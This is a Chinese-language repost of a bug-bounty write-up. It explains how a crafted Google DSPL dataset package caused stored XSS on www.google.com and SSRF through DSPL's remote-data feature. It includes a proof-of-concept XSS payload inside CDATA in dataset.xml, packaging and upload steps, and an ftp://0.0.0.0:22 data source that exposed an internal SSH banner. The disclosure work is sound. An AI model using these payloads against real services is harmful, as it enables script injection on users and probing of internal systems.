您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關看我如何構造DSPL語言包及發現Google的存儲型XSS和SSRF漏洞,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
下面講述我通過精心制作Google數據集發布語言(DSPL)包,在請求www.google.com的環境中構造出存儲型XSS漏洞,另外,利用DSPL的遠程數據源功能實現了本地服務訪問(也即SSRF)。
Google的數據集發布語言:Google利用其具備的強大網絡數據收集能力,在數據挖掘和可視化方面擁有多項應用,通過搭建可視化的商業和公共服務平,方便第三方公司和個人充分數據收集可視化。用戶可以利用Google的數據集發布語言(Dataset Publishing Language,DSPL)接口,把他們自己的數據庫鏈接上Google的可視化工具,實現方便的個人定制數據可視化。
Google的公開數據瀏覽器(Public Data Explorer)是一款數據搜索和可視化顯示工具,它以官方數據為基礎,為一些常見的搜索請求制作圖表,以更加直觀的視覺形式反映出搜索結果。例如,我們可以利用它來方便地實現政府衛生支出、世界銀行數據等大型數據集的搜集和可視化。
DSPL使用XML來描述數據集中的元數據,還會用到CSV數據文件,例如DSPL下的sample.zip壓縮包格式是這樣的:
Archive: sample.zip
Length Date Time Name
--------- ---------- ----- ----
246 02-01-2018 13:19 countries.csv
221 02-14-2011 17:13 country_slice.csv
7812 03-04-2018 21:12 dataset.xml
246 02-14-2011 17:13 gender_country_slice.csv
28 01-29-2018 20:55 genders.csv
200 02-14-2011 17:13 state_slice.csv
300 01-29-2018 21:11 states.csv
--------- -------
9053 7 files
問題就在于,Google的公開數據瀏覽器(Public Data Explorer)在使用數據集歸檔中提供的元數據時,不會去檢查這些元數據是否經過有效編碼或安全驗證。
以下面這個數據集的使用為例:
curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip
unzip sample.zip; rm sample.zip
可以對數據集中dataset.xml文件的元數據名稱值進行更改。另外在以下XML文件中,可以使用CDATA部分來包含JavaScript的執行腳本(Payload),以防止其被當做XML標記來解析:
<info>
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
<description>
<value>Some very interesting statistics about countries</value>
</description>
<url>
<value>http://google.com</value>
</url>
</info>
之后,執行以下兩步操作:
zip -r poc.dspl *
將上述精心制作的數據集文件上傳到Google公開數據瀏覽器中(Public Data Explorer),把它公開分享
這樣一來,只要點擊查看該數據集的用戶,都會在www.google.com請求環境中被執行一段攻擊者精心制作的JavaScript惡意腳本(這種腳本如Coinhive)。
在以下視頻中我們可以看到,構造一個包含惡意腳本的數據集壓縮包,上傳部署后,能成功執行預定腳本:
http://v.youku.com/v_show/id_XMzQ3MTM0Njk0OA==.html
https://vimeo.com/258923005
而且,因為DSPL還具備從遠程HTTP或FTP源中進行數據檢索,所以,利用該功能和上述缺陷可以實現SSRF攻擊,訪問到某些本地主機的服務數據資源(另外,深入利用,還可間接訪問到目標系統內與互聯網隔離的內部網絡系統,進一步對目標系統內的系統或設備造成安全威脅)
例如,把poc.dspl/dataset.xml中的內容更改如下:
<table id="my_table">
<column id="first" type="string"/>
<column id="last" type="string"/>
<data>
<file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
</data>
</table>
在把該數據集進行上傳分享時,Google服務端返回了HTTP/FTP請求的出錯處理響應,其中顯示了Google服務端的SSH詳細banner信息,實際上,這本來就是一種不應公開顯示的服務端信息:
以上就是看我如何構造DSPL語言包及發現Google的存儲型XSS和SSRF漏洞,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。